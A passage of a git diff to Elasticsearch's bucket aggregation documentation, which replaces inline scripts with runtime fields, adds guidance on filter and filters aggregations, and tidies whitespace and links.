aggregation are not skewed by any single author's quirks because we asked for a maximum of one post from any one author in our sample. -==== Scripted example: +==== Scripted example -In this scenario we might want to diversify on a combination of field values. We can use a `script` to produce a hash of the -multiple values in a tags field to ensure we don't have a sample that consists of the same repeated combinations of tags. +In this scenario we might want to diversify on a combination of field values. We can use a <> to +produce a hash of the multiple values in a tags field to ensure we don't have a sample that consists of the same +repeated combinations of tags. -[source,console,id=diversified-sampler-aggregation-scripted-example] --------------------------------------------------- +[source,console,id=diversified-sampler-aggregation-runtime-field-example] +---- POST /stackoverflow/_search?size=0 { "query": { @@ -103,15 +104,18 @@ POST /stackoverflow/_search?size=0 "query": "tags:kibana" } }, + "runtime_mappings": { + "tags.hash": { + "type": "long", + "script": "emit(doc['tags'].hashCode())" + } + }, "aggs": { "my_unbiased_sample": { "diversified_sampler": { "shard_size": 200, "max_docs_per_value": 3, - "script": { - "lang": "painless", - "source": "doc['tags'].hashCode()" - } + "field": "tags.hash" }, "aggs": { "keywords": { @@ -124,13 +128,13 @@ POST /stackoverflow/_search?size=0 } } } --------------------------------------------------- +---- // TEST[setup:stackoverflow] Response: [source,console-result] --------------------------------------------------- +---- { ... "aggregations": { @@ -157,7 +161,7 @@ Response: } } } --------------------------------------------------- +---- // TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] // TESTRESPONSE[s/2.213/$body.aggregations.my_unbiased_sample.keywords.buckets.0.score/] // TESTRESPONSE[s/1.34/$body.aggregations.my_unbiased_sample.keywords.buckets.1.score/] diff --git a/docs/reference/aggregations/bucket/filter-aggregation.asciidoc b/docs/reference/aggregations/bucket/filter-aggregation.asciidoc index 0b971ea29be16..06568923e2fba 100644 --- a/docs/reference/aggregations/bucket/filter-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/filter-aggregation.asciidoc @@ -4,15 +4,17 @@ Filter ++++ -Defines a single bucket of all the documents in the current document set context that match a specified filter. Often this will be used to narrow down the current aggregation context to a specific set of documents. +A single bucket aggregation that narrows the set of documents +to those that match a <>. Example: [source,console,id=filter-aggregation-example] --------------------------------------------------- -POST /sales/_search?size=0 +---- +POST /sales/_search?size=0&filter_path=aggregations { "aggs": { + "avg_price": { "avg": { "field": "price" } }, "t_shirts": { "filter": { "term": { "type": "t-shirt" } }, "aggs": { @@ -21,23 +23,182 @@ POST /sales/_search?size=0 } } } --------------------------------------------------- +---- // TEST[setup:sales] -In the above example, we calculate the average price of all the products that are of type t-shirt. +The previous example calculates the average price of all sales as well as +the average price of all T-shirt sales. Response: [source,console-result] --------------------------------------------------- +---- { - ... "aggregations": { + "avg_price": { "value": 140.71428571428572 }, "t_shirts": { "doc_count": 3, "avg_price": { "value": 128.33333333333334 } } } } --------------------------------------------------- -// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] +---- + +[[use-top-level-query-to-limit-all-aggs]] +==== Use a top-level `query` to limit all aggregations + +To limit the documents on which all aggregations in a search run, use a +top-level `query`. This is faster than a single `filter` aggregation with +sub-aggregations. + +For example, use this: + + +[source,console,id=filter-aggregation-top-good] +---- +POST /sales/_search?size=0&filter_path=aggregations +{ + "query": { "term": { "type": "t-shirt" } }, + "aggs": { + "avg_price": { "avg": { "field": "price" } } + } +} +---- +// TEST[setup:sales] + +//// +[source,console-result] +---- +{ + "aggregations": { + "avg_price": { "value": 128.33333333333334 } + } +} +---- +//// + +Instead of this: + +[source,console,id=filter-aggregation-top-bad] +---- +POST /sales/_search?size=0&filter_path=aggregations +{ + "aggs": { + "t_shirts": { + "filter": { "term": { "type": "t-shirt" } }, + "aggs": { + "avg_price": { "avg": { "field": "price" } } + } + } + } +} +---- +// TEST[setup:sales] + +//// +[source,console-result] +---- +{ + "aggregations": { + "t_shirts": { + "doc_count": 3, + "avg_price": { "value": 128.33333333333334 } + } + } +} +---- +//// + +[[use-filters-agg-for-multiple-filters]] +==== Use the `filters` aggregation for multiple filters + +To group documents using multiple filters, use the +<>. This +is faster than multiple `filter` aggregations. + +For example, use this: + +[source,console,id=filter-aggregation-many-good] +---- +POST /sales/_search?size=0&filter_path=aggregations +{ + "aggs": { + "f": { + "filters": { + "filters": { + "hats": { "term": { "type": "hat" } }, + "t_shirts": { "term": { "type": "t-shirt" } } + } + }, + "aggs": { + "avg_price": { "avg": { "field": "price" } } + } + } + } +} +---- +// TEST[setup:sales] + +//// +[source,console-result] +---- +{ + "aggregations": { + "f": { + "buckets": { + "hats": { + "doc_count": 3, + "avg_price": { "value": 150.0 } + }, + "t_shirts": { + "doc_count": 3, + "avg_price": { "value": 128.33333333333334 } + } + } + } + } +} +---- +//// + +Instead of this: + +[source,console,id=filter-aggregation-many-bad] +---- +POST /sales/_search?size=0&filter_path=aggregations +{ + "aggs": { + "hats": { + "filter": { "term": { "type": "hat" } }, + "aggs": { + "avg_price": { "avg": { "field": "price" } } + } + }, + "t_shirts": { + "filter": { "term": { "type": "t-shirt" } }, + "aggs": { + "avg_price": { "avg": { "field": "price" } } + } + } + } +} +---- +// TEST[setup:sales] + +//// +[source,console-result] +---- +{ + "aggregations": { + "hats": { + "doc_count": 3, + "avg_price": { "value": 150.0 } + }, + "t_shirts": { + "doc_count": 3, + "avg_price": { "value": 128.33333333333334 } + } + } +} +---- +//// diff --git a/docs/reference/aggregations/bucket/filters-aggregation.asciidoc b/docs/reference/aggregations/bucket/filters-aggregation.asciidoc index d76344de013f8..56e05ee749811 100644 --- a/docs/reference/aggregations/bucket/filters-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/filters-aggregation.asciidoc @@ -4,9 +4,8 @@ Filters ++++ -Defines a multi bucket aggregation where each bucket is associated with a -filter. Each bucket will collect all documents that match its associated -filter. +A multi-bucket aggregation where each bucket contains the documents +that match a <>. Example: @@ -92,7 +91,7 @@ GET logs/_search // TEST[continued] The filtered buckets are returned in the same order as provided in the -request. The response for this example would be: +request. The response for this example would be: [source,console-result] -------------------------------------------------- diff --git a/docs/reference/aggregations/bucket/geohashgrid-aggregation.asciidoc b/docs/reference/aggregations/bucket/geohashgrid-aggregation.asciidoc index 99c4d70d7132a..b39d5c2cebd1e 100644 --- a/docs/reference/aggregations/bucket/geohashgrid-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/geohashgrid-aggregation.asciidoc @@ -200,7 +200,7 @@ var bbox = geohash.decode_bbox('u17'); ==== Requests with additional bounding box filtering The `geohash_grid` aggregation supports an optional `bounds` parameter -that restricts the points considered to those that fall within the +that restricts the cells considered to those that intersects the bounds provided. The `bounds` parameter accepts the bounding box in all the same <> of the bounds specified in the Geo Bounding Box Query. This bounding box can be used with or diff --git a/docs/reference/aggregations/bucket/geotilegrid-aggregation.asciidoc b/docs/reference/aggregations/bucket/geotilegrid-aggregation.asciidoc index 7b1c010f0f841..0f6f24e784962 100644 --- a/docs/reference/aggregations/bucket/geotilegrid-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/geotilegrid-aggregation.asciidoc @@ -169,11 +169,11 @@ POST /museums/_search?size=0 ==== Requests with additional bounding box filtering The `geotile_grid` aggregation supports an optional `bounds` parameter -that restricts the points considered to those that fall within the +that restricts the cells considered to those that intersects the bounds provided. The `bounds` parameter accepts the bounding box in all the same <> of the bounds specified in the Geo Bounding Box Query. This bounding box can be used with or -without an additional `geo_bounding_box` query filtering the points prior to aggregating. +without an additional `geo_bounding_box` query for filtering the points prior to aggregating. It is an independent bounding box that can intersect with, be equal to, or be disjoint to any additional `geo_bounding_box` queries defined in the context of the aggregation. diff --git a/docs/reference/aggregations/bucket/histogram-aggregation.asciidoc b/docs/reference/aggregations/bucket/histogram-aggregation.asciidoc index 747a8720a1155..db397ead3e22d 100644 --- a/docs/reference/aggregations/bucket/histogram-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/histogram-aggregation.asciidoc @@ -19,7 +19,7 @@ bucket_key = Math.floor((value - offset) / interval) * interval + offset -------------------------------------------------- For range values, a document can fall into multiple buckets. The first bucket is computed from the lower -bound of the range in the same way as a bucket for a single value is computed. The final bucket is computed in the same +bound of the range in the same way as a bucket for a single value is computed. The final bucket is computed in the same way from the upper bound of the range, and the range is counted in all buckets in between and including those two. The `interval` must be a positive decimal, while the `offset` must be a decimal in `[0, interval)` @@ -183,7 +183,7 @@ POST /sales/_search?size=0 -------------------------------------------------- // TEST[setup:sales] -When aggregating ranges, buckets are based on the values of the returned documents. This means the response may include +When aggregating ranges, buckets are based on the values of the returned documents. This means the response may include buckets outside of a query's range. For example, if your query looks for values greater than 100, and you have a range covering 50 to 150, and an interval of 50, that document will land in 3 buckets - 50, 100, and 150. In general, it's best to think of the query and aggregation steps as independent - the query selects a set of documents, and then the diff --git a/docs/reference/aggregations/bucket/multi-terms-aggregation.asciidoc b/docs/reference/aggregations/bucket/multi-terms-aggregation.asciidoc index a4d62ea12213e..0997d8f50240e 100644 --- a/docs/reference/aggregations/bucket/multi-terms-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/multi-terms-aggregation.asciidoc @@ -11,6 +11,10 @@ aggregation is very similar to the <> will be a faster and more memory efficient solution. + ////////////////////////// [source,js] @@ -165,19 +169,22 @@ collect_mode:: Optional. Specifies the strategy for data collecti Generating the terms using a script: -[source,console,id=multi-terms-aggregation-script-example] --------------------------------------------------- +[source,console,id=multi-terms-aggregation-runtime-field-example] +---- GET /products/_search { + "runtime_mappings": { + "genre.length": { + "type": "long", + "script": "emit(doc['genre'].value.length())" + } + }, "aggs": { "genres_and_products": { "multi_terms": { "terms": [ { - "script": { - "source": "doc['genre'].value.length()", - "lang": "painless" - } + "field": "genre.length" }, { "field": "product" @@ -187,7 +194,7 @@ GET /products/_search } } } --------------------------------------------------- +---- // TEST[s/_search/_search\?filter_path=aggregations/] Response: @@ -203,7 +210,7 @@ Response: "buckets" : [ { "key" : [ - "4", + 4, "Product A" ], "key_as_string" : "4|Product A", @@ -211,7 +218,7 @@ Response: }, { "key" : [ - "4", + 4, "Product B" ], "key_as_string" : "4|Product B", @@ -219,7 +226,7 @@ Response: }, { "key" : [ - "10", + 10, "Product B" ], "key_as_string" : "10|Product B", diff --git a/docs/reference/aggregations/bucket/range-aggregation.asciidoc b/docs/reference/aggregations/bucket/range-aggregation.asciidoc index 285ffe22dfad1..0ee2d5460562a 100644 --- a/docs/reference/aggregations/bucket/range-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/range-aggregation.asciidoc @@ -172,22 +172,31 @@ Response: ==== Script -Range aggregation accepts a `script` parameter. This parameter allows to defined an inline `script` that -will be executed during aggregation execution. +If the data in your documents doesn't exactly match what you'd like to aggregate, +use a <>. For example, if you need to +apply a particular currency conversion rate: -The following example shows how to use an `inline` script with the `painless` script language and no script parameters: - -[source,console,id=range-aggregation-script-example] --------------------------------------------------- +[source,console,id=range-aggregation-runtime-field-example] +---- GET /_search { + "runtime_mappings": { + "price.euros": { + "type": "double", + "script": { + "source": """ + emit(doc['price'].value * params.conversion_rate) + """, + "params": { + "conversion_rate": 0.835526591 + } + } + } + }, "aggs": { "price_ranges": { "range": { - "script": { - "lang": "painless", - "source": "doc['price'].value" - }, + "field": "price.euros", "ranges": [ { "to": 100 }, { "from": 100, "to": 200 }, @@ -197,109 +206,42 @@ GET /_search } } } --------------------------------------------------- - -It is also possible to use stored scripts. Here is a simple stored script: - -[source,console,id=range-aggregation-stored-script-example] --------------------------------------------------- -POST /_scripts/convert_currency -{ - "script": { - "lang": "painless", - "source": "doc[params.field].value * params.conversion_rate" - } -} --------------------------------------------------- +---- // TEST[setup:sales] - -And this new stored script can be used in the range aggregation like this: - -[source,console] --------------------------------------------------- -GET /_search -{ - "aggs": { - "price_ranges": { - "range": { - "script": { - "id": "convert_currency", <1> - "params": { <2> - "field": "price", - "conversion_rate": 0.835526591 - } - }, - "ranges": [ - { "from": 0, "to": 100 }, - { "from": 100 } - ] - } - } - } -} --------------------------------------------------- // TEST[s/GET \/_search/GET \/_search\?filter_path=aggregations/] -// TEST[continued] -<1> Id of the stored script -<2> Parameters to use when executing the stored script ////////////////////////// [source,console-result] --------------------------------------------------- +---- { "aggregations": { "price_ranges": { "buckets": [ { - "key": "0.0-100.0", - "from": 0.0, + "key": "*-100.0", "to": 100.0, "doc_count": 2 }, { - "key": "100.0-*", + "key": "100.0-200.0", "from": 100.0, + "to": 200.0, "doc_count": 5 + }, + { + "key": "200.0-*", + "from": 200.0, + "doc_count": 0 } ] } } } --------------------------------------------------- +---- ////////////////////////// -==== Value Script - -Lets say the product prices are in USD but we would like to get the price ranges in EURO. We can use value script to convert the prices prior the aggregation (assuming conversion rate of 0.8) - -[source,console,id=range-aggregation-value-script-example] --------------------------------------------------- -GET /sales/_search -{ - "aggs": { - "price_ranges": { - "range": { - "field": "price", - "script": { - "source": "_value * params.conversion_rate", - "params": { - "conversion_rate": 0.8 - } - }, - "ranges": [ - { "to": 35 }, - { "from": 35, "to": 70 }, - { "from": 70 } - ] - } - } - } -} --------------------------------------------------- -// TEST[setup:sales] - ==== Sub Aggregations The following example, not only "bucket" the documents to the different buckets but also computes statistics over the prices in each price range diff --git a/docs/reference/aggregations/bucket/range-field-note.asciidoc b/docs/reference/aggregations/bucket/range-field-note.asciidoc index c3e2c2de885e1..bb18bd2afd447 100644 --- a/docs/reference/aggregations/bucket/range-field-note.asciidoc +++ b/docs/reference/aggregations/bucket/range-field-note.asciidoc @@ -6,7 +6,7 @@ Since a range represents multiple values, running a bucket aggregation over a range field can result in the same document landing in multiple buckets. This can lead to surprising behavior, such as the sum of bucket counts being higher -than the number of matched documents. For example, consider the following +than the number of matched documents. For example, consider the following index: [source, console] -------------------------------------------------- @@ -184,7 +184,7 @@ calculated over the ranges of all matching documents. // TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/] Depending on the use case, a `CONTAINS` query could limit the documents to only -those that fall entirely in the queried range. In this example, the one -document would not be included and the aggregation would be empty. Filtering +those that fall entirely in the queried range. In this example, the one +document would not be included and the aggregation would be empty. Filtering the buckets after the aggregation is also an option, for use cases where the document should be counted but the out of bounds data can be safely ignored. diff --git a/docs/reference/aggregations/bucket/rare-terms-aggregation.asciidoc b/docs/reference/aggregations/bucket/rare-terms-aggregation.asciidoc index 4ff962a4e7414..525672be11d1f 100644 --- a/docs/reference/aggregations/bucket/rare-terms-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/rare-terms-aggregation.asciidoc @@ -5,9 +5,9 @@ ++++ A multi-bucket value source based aggregation which finds "rare" terms -- terms that are at the long-tail -of the distribution and are not frequent. Conceptually, this is like a `terms` aggregation that is -sorted by `_count` ascending. As noted in the <>, -actually ordering a `terms` agg by count ascending has unbounded error. Instead, you should use the `rare_terms` +of the distribution and are not frequent. Conceptually, this is like a `terms` aggregation that is +sorted by `_count` ascending. As noted in the <>, +actually ordering a `terms` agg by count ascending has unbounded error. Instead, you should use the `rare_terms` aggregation ////////////////////////// @@ -78,7 +78,7 @@ A `rare_terms` aggregation looks like this in isolation: |Parameter Name |Description |Required |Default Value |`field` |The field we wish to find rare terms in |Required | |`max_doc_count` |The maximum number of documents a term should appear in. |Optional |`1` -|`precision` |The precision of the internal CuckooFilters. Smaller precision leads to +|`precision` |The precision of the internal CuckooFilters. Smaller precision leads to better approximation, but higher memory usage. Cannot be smaller than `0.00001` |Optional |`0.01` |`include` |Terms that should be included in the aggregation|Optional | |`exclude` |Terms that should be excluded from the aggregation|Optional | @@ -124,7 +124,7 @@ Response: // TESTRESPONSE[s/\.\.\.//] In this example, the only bucket that we see is the "swing" bucket, because it is the only term that appears in -one document. If we increase the `max_doc_count` to `2`, we'll see some more buckets: +one document. If we increase the `max_doc_count` to `2`, we'll see some more buckets: [source,console,id=rare-terms-aggregation-max-doc-count-example] -------------------------------------------------- @@ -169,27 +169,27 @@ This now shows the "jazz" term which has a `doc_count` of 2": [[search-aggregations-bucket-rare-terms-aggregation-max-doc-count]] ==== Maximum document count -The `max_doc_count` parameter is used to control the upper bound of document counts that a term can have. There -is not a size limitation on the `rare_terms` agg like `terms` agg has. This means that terms -which match the `max_doc_count` criteria will be returned. The aggregation functions in this manner to avoid +The `max_doc_count` parameter is used to control the upper bound of document counts that a term can have. There +is not a size limitation on the `rare_terms` agg like `terms` agg has. This means that terms +which match the `max_doc_count` criteria will be returned. The aggregation functions in this manner to avoid the order-by-ascending issues that afflict the `terms` aggregation. -This does, however, mean that a large number of results can be returned if chosen incorrectly. +This does, however, mean that a large number of results can be returned if chosen incorrectly. To limit the danger of this setting, the maximum `max_doc_count` is 100. [[search-aggregations-bucket-rare-terms-aggregation-max-buckets]] ==== Max Bucket Limit The Rare Terms aggregation is more liable to trip the `search.max_buckets` soft limit than other aggregations due -to how it works. The `max_bucket` soft-limit is evaluated on a per-shard basis while the aggregation is collecting -results. It is possible for a term to be "rare" on a shard but become "not rare" once all the shard results are -merged together. This means that individual shards tend to collect more buckets than are truly rare, because -they only have their own local view. This list is ultimately pruned to the correct, smaller list of rare +to how it works. The `max_bucket` soft-limit is evaluated on a per-shard basis while the aggregation is collecting +results. It is possible for a term to be "rare" on a shard but become "not rare" once all the shard results are +merged together. This means that individual shards tend to collect more buckets than are truly rare, because +they only have their own local view. This list is ultimately pruned to the correct, smaller list of rare terms on the coordinating node... but a shard may have already tripped the `max_buckets` soft limit and aborted the request. When aggregating on fields that have potentially many "rare" terms, you may need to increase the `max_buckets` soft -limit. Alternatively, you might need to find a way to filter the results to return fewer rare values (smaller time +limit. Alternatively, you might need to find a way to filter the results to return fewer rare values (smaller time span, filter by category, etc), or re-evaluate your definition of "rare" (e.g. if something appears 100,000 times, is it truly "rare"?) @@ -197,8 +197,8 @@ appears 100,000 times, is it truly "rare"?) ==== Document counts are approximate The naive way to determine the "rare" terms in a dataset is to place all the values in a map, incrementing counts -as each document is visited, then return the bottom `n` rows. This does not scale beyond even modestly sized data -sets. A sharded approach where only the "top n" values are retained from each shard (ala the `terms` aggregation) +as each document is visited, then return the bottom `n` rows. This does not scale beyond even modestly sized data +sets. A sharded approach where only the "top n" values are retained from each shard (ala the `terms` aggregation) fails because the long-tail nature of the problem means it is impossible to find the "top n" bottom values without simply collecting all the values from all shards. @@ -208,16 +208,16 @@ Instead, the Rare Terms aggregation uses a different approximate algorithm: 2. Each addition occurrence of the term increments a counter in the map 3. If the counter > the `max_doc_count` threshold, the term is removed from the map and placed in a https://www.cs.cmu.edu/~dga/papers/cuckoo-conext2014.pdf[CuckooFilter] -4. The CuckooFilter is consulted on each term. If the value is inside the filter, it is known to be above the +4. The CuckooFilter is consulted on each term. If the value is inside the filter, it is known to be above the threshold already and skipped. -After execution, the map of values is the map of "rare" terms under the `max_doc_count` threshold. This map and CuckooFilter -are then merged with all other shards. If there are terms that are greater than the threshold (or appear in -a different shard's CuckooFilter) the term is removed from the merged list. The final map of values is returned +After execution, the map of values is the map of "rare" terms under the `max_doc_count` threshold. This map and CuckooFilter +are then merged with all other shards. If there are terms that are greater than the threshold (or appear in +a different shard's CuckooFilter) the term is removed from the merged list. The final map of values is returned to the user as the "rare" terms. CuckooFilters have the possibility of returning false positives (they can say a value exists in their collection when -it actually does not). Since the CuckooFilter is being used to see if a term is over threshold, this means a false positive +it actually does not). Since the CuckooFilter is being used to see if a term is over threshold, this means a false positive from the CuckooFilter will mistakenly say a value is common when it is not (and thus exclude it from it final list of buckets). Practically, this means the aggregations exhibits false-negative behavior since the filter is being used "in reverse" of how people generally think of approximate set membership sketches. @@ -230,14 +230,14 @@ Proceedings of the 10th ACM International on Conference on emerging Networking E ==== Precision Although the internal CuckooFilter is approximate in nature, the false-negative rate can be controlled with a -`precision` parameter. This allows the user to trade more runtime memory for more accurate results. +`precision` parameter. This allows the user to trade more runtime memory for more accurate results. The default precision is `0.001`, and the smallest (e.g. most accurate and largest memory overhead) is `0.00001`. Below are some charts which demonstrate how the accuracy of the aggregation is affected by precision and number of distinct terms. The X-axis shows the number of distinct values the aggregation has seen, and the Y-axis shows the percent error. -Each line series represents one "rarity" condition (ranging from one rare item to 100,000 rare items). For example, +Each line series represents one "rarity" condition (ranging from one rare item to 100,000 rare items). For example, the orange "10" line means ten of the values were "rare" (`doc_count == 1`), out of 1-20m distinct values (where the rest of the values had `doc_count > 1`) @@ -258,14 +258,14 @@ degrades in a controlled, linear fashion as the number of distinct values increa The default precision of `0.001` has a memory profile of `1.748⁻⁶ * n` bytes, where `n` is the number of distinct values the aggregation has seen (it can also be roughly eyeballed, e.g. 20 million unique values is about -30mb of memory). The memory usage is linear to the number of distinct values regardless of which precision is chosen, +30mb of memory). The memory usage is linear to the number of distinct values regardless of which precision is chosen, the precision only affects the slope of the memory profile as seen in this chart: image:images/rare_terms/memory.png[] For comparison, an equivalent terms aggregation at 20 million buckets would be roughly `20m * 69b == ~1.38gb` (with 69 bytes being a very optimistic estimate of an empty bucket cost, far lower than what -the circuit breaker accounts for). So although the `rare_terms` agg is relatively heavy, it is still orders of +the circuit breaker accounts for). So although the `rare_terms` agg is relatively heavy, it is still orders of magnitude smaller than the equivalent terms aggregation ==== Filtering Values @@ -347,9 +347,9 @@ GET /_search ==== Nested, RareTerms, and scoring sub-aggregations The RareTerms aggregation has to operate in `breadth_first` mode, since it needs to prune terms as doc count thresholds -are breached. This requirement means the RareTerms aggregation is incompatible with certain combinations of aggregations +are breached. This requirement means the RareTerms aggregation is incompatible with certain combinations of aggregations that require `depth_first`. In particular, scoring sub-aggregations that are inside a `nested` force the entire aggregation tree to run -in `depth_first` mode. This will throw an exception since RareTerms is unable to process `depth_first`. +in `depth_first` mode. This will throw an exception since RareTerms is unable to process `depth_first`. As a concrete example, if `rare_terms` aggregation is the child of a `nested` aggregation, and one of the child aggregations of `rare_terms` needs document scores (like a `top_hits` aggregation), this will throw an exception. \ No newline at end of file diff --git a/docs/reference/aggregations/bucket/significantterms-aggregation.asciidoc b/docs/reference/aggregations/bucket/significantterms-aggregation.asciidoc index ca6a9fac180fe..221c35020b563 100644 --- a/docs/reference/aggregations/bucket/significantterms-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/significantterms-aggregation.asciidoc @@ -305,7 +305,7 @@ If there is the equivalent of a `match_all` query or no query criteria providing top-most aggregation - in this scenario the _foreground_ set is exactly the same as the _background_ set and so there is no difference in document frequencies to observe and from which to make sensible suggestions. -Another consideration is that the significant_terms aggregation produces many candidate results at shard level +Another consideration is that the significant_terms aggregation produces many candidate results at shard level that are only later pruned on the reducing node once all statistics from all shards are merged. As a result, it can be inefficient and costly in terms of RAM to embed large child aggregations under a significant_terms aggregation that later discards many candidate terms. It is advisable in these cases to perform two searches - the first to provide a rationalized list of @@ -374,7 +374,7 @@ Chi square behaves like mutual information and can be configured with the same p ===== Google normalized distance -Google normalized distance as described in "The Google Similarity Distance", Cilibrasi and Vitanyi, 2007 (https://arxiv.org/pdf/cs/0412098v3.pdf) can be used as significance score by adding the parameter +Google normalized distance as described in https://arxiv.org/pdf/cs/0412098v3.pdf["The Google Similarity Distance", Cilibrasi and Vitanyi, 2007] can be used as significance score by adding the parameter [source,js] -------------------------------------------------- @@ -408,7 +408,7 @@ Multiple observations are typically required to reinforce a view so it is recomm Roughly, `mutual_information` prefers high frequent terms even if they occur also frequently in the background. For example, in an analysis of natural language text this might lead to selection of stop words. `mutual_information` is unlikely to select very rare terms like misspellings. `gnd` prefers terms with a high co-occurrence and avoids selection of stopwords. It might be better suited for synonym detection. However, `gnd` has a tendency to select very rare terms that are, for example, a result of misspelling. `chi_square` and `jlh` are somewhat in-between. -It is hard to say which one of the different heuristics will be the best choice as it depends on what the significant terms are used for (see for example [Yang and Pedersen, "A Comparative Study on Feature Selection in Text Categorization", 1997](http://courses.ischool.berkeley.edu/i256/f06/papers/yang97comparative.pdf) for a study on using significant terms for feature selection for text classification). +It is hard to say which one of the different heuristics will be the best choice as it depends on what the significant terms are used for (see for example http://courses.ischool.berkeley.edu/i256/f06/papers/yang97comparative.pdf[Yang and Pedersen, "A Comparative Study on Feature Selection in Text Categorization", 1997] for a study on using significant terms for feature selection for text classification). If none of the above measures suits your usecase than another option is to implement a custom significance measure: @@ -448,13 +448,13 @@ size buckets was not returned). To ensure better accuracy a multiple of the final `size` is used as the number of terms to request from each shard (`2 * (size * 1.5 + 10)`). To take manual control of this setting the `shard_size` parameter -can be used to control the volumes of candidate terms produced by each shard. +can be used to control the volumes of candidate terms produced by each shard. Low-frequency terms can turn out to be the most interesting ones once all results are combined so the significant_terms aggregation can produce higher-quality results when the `shard_size` parameter is set to values significantly higher than the `size` setting. This ensures that a bigger volume of promising candidate terms are given a consolidated review by the reducing node before the final selection. Obviously large candidate term lists -will cause extra network traffic and RAM usage so this is quality/cost trade off that needs to be balanced. If `shard_size` is set to -1 (the default) then `shard_size` will be automatically estimated based on the number of shards and the `size` parameter. +will cause extra network traffic and RAM usage so this is quality/cost trade off that needs to be balanced. If `shard_size` is set to -1 (the default) then `shard_size` will be automatically estimated based on the number of shards and the `size` parameter. NOTE: `shard_size` cannot be smaller than `size` (as it doesn't make much sense). When it is, Elasticsearch will @@ -486,12 +486,11 @@ The above aggregation would only return tags which have been found in 10 hits or Terms that score highly will be collected on a shard level and merged with the terms collected from other shards in a second step. However, the shard does not have the information about the global term frequencies available. The decision if a term is added to a candidate list depends only on the score computed on the shard using local shard frequencies, not the global frequencies of the word. The `min_doc_count` criterion is only applied after merging local terms statistics of all shards. In a way the decision to add the term as a candidate is made without being very _certain_ about if the term will actually reach the required `min_doc_count`. This might cause many (globally) high frequent terms to be missing in the final result if low frequent but high scoring terms populated the candidate lists. To avoid this, the `shard_size` parameter can be increased to allow more candidate terms on the shards. However, this increases memory consumption and network traffic. -`shard_min_doc_count` parameter - -The parameter `shard_min_doc_count` regulates the _certainty_ a shard has if the term should actually be added to the candidate list or not with respect to the `min_doc_count`. Terms will only be considered if their local shard frequency within the set is higher than the `shard_min_doc_count`. If your dictionary contains many low frequent words and you are not interested in these (for example misspellings), then you can set the `shard_min_doc_count` parameter to filter out candidate terms on a shard level that will with a reasonable certainty not reach the required `min_doc_count` even after merging the local frequencies. `shard_min_doc_count` is set to `1` per default and has no effect unless you explicitly set it. - +[[search-aggregations-bucket-significantterms-shard-min-doc-count]] +===== `shard_min_doc_count` +include::terms-aggregation.asciidoc[tag=min-doc-count] WARNING: Setting `min_doc_count` to `1` is generally not advised as it tends to return terms that are typos or other bizarre curiosities. Finding more than one instance of a term helps diff --git a/docs/reference/aggregations/bucket/significanttext-aggregation.asciidoc b/docs/reference/aggregations/bucket/significanttext-aggregation.asciidoc index 66793cc0d8972..22f582f90594f 100644 --- a/docs/reference/aggregations/bucket/significanttext-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/significanttext-aggregation.asciidoc @@ -367,13 +367,13 @@ size buckets was not returned). To ensure better accuracy a multiple of the final `size` is used as the number of terms to request from each shard (`2 * (size * 1.5 + 10)`). To take manual control of this setting the `shard_size` parameter -can be used to control the volumes of candidate terms produced by each shard. +can be used to control the volumes of candidate terms produced by each shard. Low-frequency terms can turn out to be the most interesting ones once all results are combined so the significant_terms aggregation can produce higher-quality results when the `shard_size` parameter is set to values significantly higher than the `size` setting. This ensures that a bigger volume of promising candidate terms are given a consolidated review by the reducing node before the final selection. Obviously large candidate term lists -will cause extra network traffic and RAM usage so this is quality/cost trade off that needs to be balanced. If `shard_size` is set to -1 (the default) then `shard_size` will be automatically estimated based on the number of shards and the `size` parameter. +will cause extra network traffic and RAM usage so this is quality/cost trade off that needs to be balanced. If `shard_size` is set to -1 (the default) then `shard_size` will be automatically estimated based on the number of shards and the `size` parameter. NOTE: `shard_size` cannot be smaller than `size` (as it doesn't make much sense). When it is, elasticsearch will @@ -393,17 +393,10 @@ This might cause many (globally) high frequent terms to be missing in the final the candidate lists. To avoid this, the `shard_size` parameter can be increased to allow more candidate terms on the shards. However, this increases memory consumption and network traffic. -`shard_min_doc_count` parameter - -The parameter `shard_min_doc_count` regulates the _certainty_ a shard has if the term should actually be added to the candidate list or -not with respect to the `min_doc_count`. Terms will only be considered if their local shard frequency within the set is higher than the -`shard_min_doc_count`. If your dictionary contains many low frequent words and you are not interested in these (for example misspellings), -then you can set the `shard_min_doc_count` parameter to filter out candidate terms on a shard level that will with a reasonable certainty -not reach the required `min_doc_count` even after merging the local frequencies. `shard_min_doc_count` is set to `1` per default and has -no effect unless you explicitly set it. - - +[[search-aggregations-bucket-significanttext-shard-min-doc-count]] +====== `shard_min_doc_count` +include::terms-aggregation.asciidoc[tag=min-doc-count] WARNING: Setting `min_doc_count` to `1` is generally not advised as it tends to return terms that are typos or other bizarre curiosities. Finding more than one instance of a term helps diff --git a/docs/reference/aggregations/bucket/terms-aggregation.asciidoc b/docs/reference/aggregations/bucket/terms-aggregation.asciidoc index 34adbd50a6d3c..ee0ddaa6b17de 100644 --- a/docs/reference/aggregations/bucket/terms-aggregation.asciidoc +++ b/docs/reference/aggregations/bucket/terms-aggregation.asciidoc @@ -8,7 +8,7 @@ A multi-bucket value source based aggregation where buckets are dynamically buil ////////////////////////// -[source,js] +[source,console] -------------------------------------------------- PUT /products { @@ -28,28 +28,26 @@ POST /products/_bulk?refresh {"index":{"_id":0}} {"genre": "rock", "product": "Product A"} {"index":{"_id":1}} -{"genre": "rock"} +{"genre": "rock", "product": "Product B"} {"index":{"_id":2}} -{"genre": "rock"} +{"genre": "rock", "product": "Product C"} {"index":{"_id":3}} -{"genre": "jazz", "product": "Product Z"} +{"genre": "jazz", "product": "Product D"} {"index":{"_id":4}} -{"genre": "jazz"} +{"genre": "jazz", "product": "Product E"} {"index":{"_id":5}} -{"genre": "electronic"} +{"genre": "electronic", "product": "Anthology A"} 